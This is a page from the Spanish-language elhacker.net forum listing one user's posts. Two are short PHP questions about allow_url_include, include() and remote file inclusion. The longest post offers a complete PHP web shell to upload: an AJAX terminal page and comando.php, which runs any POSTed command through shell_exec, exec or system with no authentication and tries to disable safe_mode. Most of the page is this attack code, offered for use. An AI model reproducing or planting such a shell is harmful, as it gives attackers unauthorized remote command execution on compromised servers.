elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: 1 2 [3]
21  Programación / PHP / ini_set() consulta.. en: 19 Diciembre 2012, 20:03 pm
Suponiendo que tenemos en nuestro php.ini allow_url_include=On

Código:
<?php
echo ini_get('allow_url_include'); //Perfecto deberia devolver 1
ini_set('allow_url_include',0);
echo ini_get('allow_url_include'); //Deberia devolver 0  , pero devuelve 1..
?>


Queria saber cuales son las razones q el resultado de este codigo sea 11.

Es una directiva cambiable de tipo PHP_INI_ALL deberia poder cambiarse desde cualquier lugar.. no comprendo.
22  Programación / PHP / Problema include() en: 19 Diciembre 2012, 19:03 pm
Hola que tal , aprendiendome las directivas del php.ini me encontre con allow_url_fopen y allow_url_include , las cuales , segun lo q entendi , te permiten incluir archivos remotos y se aplican en funciones como include() , include_once() , require() y require_once().

Bueno el problema surge probando como funciona esto , al hacer un include(direccion web del archivo remoto) me tira un error 500 , a pesar de tener en el php.ini allow_url_fopen=On y allow_url_include=On , nose cual es el problema..

Ademas tengo otra pregunta , es apartir de esto que surge el RFI(Remote file inclucion) , osea de un include($_GET['archivoaincluir']) ?

Espero sus respuestas!

Gracias por tu tiempo .
23  Seguridad Informática / Nivel Web / Ejecutar comandos ! Ajax + PHP +Css :) en: 14 Diciembre 2012, 16:51 pm
Subir estos archivos:
Buen estaba aburrido y dije me voy a poner a hacer una shell , aca una parte pequeña de mi shell.


ejecutar.php

Código:
<html>
<head>
<style type="text/css">
body
{
font-size:1.2em;
font-family:"Lucida Console", Lucida, monospace;
font-style:italic;
background-color:black;
color:yellow;
margin:10px;
padding:0px;
}
#jed
{
color:red;
font-family:"Lucida Console", Lucida, monospace;
}
#miDiv
{
color:red;
font-family:"Lucida Console", Lucida, monospace;
font-size:1.2em;
font-style:italic;
}
#comando
{
color:red;
border:none;
font-size:1.2em;
font-style:italic;
background-color:black;
font-family:"Lucida Console", Lucida, monospace;
}
</style>
<script>
function validar(e)
{
  if(document.all)
  {
    tecla=e.keyCode;
  }
  else
  {
    tecla=e.which;
  }
  if(tecla==13)
  {
    ajax();
  }
}
function ajax()
{
var xmlhttp;
t1=document.getElementById('comando').value;
if(window.XMLHttpRequest)
  {
  xmlhttp=new XMLHttpRequest();
  }
else
  {
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("miDiv").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("POST","comando.php",true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("comando="+t1);
}
</script>
</head>
<body>
Written by J3dN4k! Argentinian4EVER.
twitter/jednakk<br /><br />
<div id="jed">J3dN4k><input type="text" id="comando" name="comando" onkeypress="validar(event)"></input>
<!--<button type="button" onclick="ajax()">Enviar</button><br />-->
</div>
<b>
<div id="miDiv">


</div>
</b>
</body>
</html>



comando.php

Código:
<?php
$q=$_POST['comando'];

if(ini_get('safe_mode'))
{
ini_set('safe_mode','0');
}
if(function_exists('shell_exec'))
{
$result=shell_exec($q);
}
elseif(function_exists('exec'))
{
exec($q,$result);
}
elseif(function_exists('system'))
{
system($q,$result);
}
else
{
$result="Todas las funciones de ejecutar comandos estan deshabilitadas por el server";
}




if(strlen($result)>0)
{
$response=$result;
}
else
{
$response="Usted ha introducido un comando erroneo !(Bad command)";
}
echo "<pre>".$response."<br />J3dN4k></pre>";
?>


Páginas: 1 2 [3]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines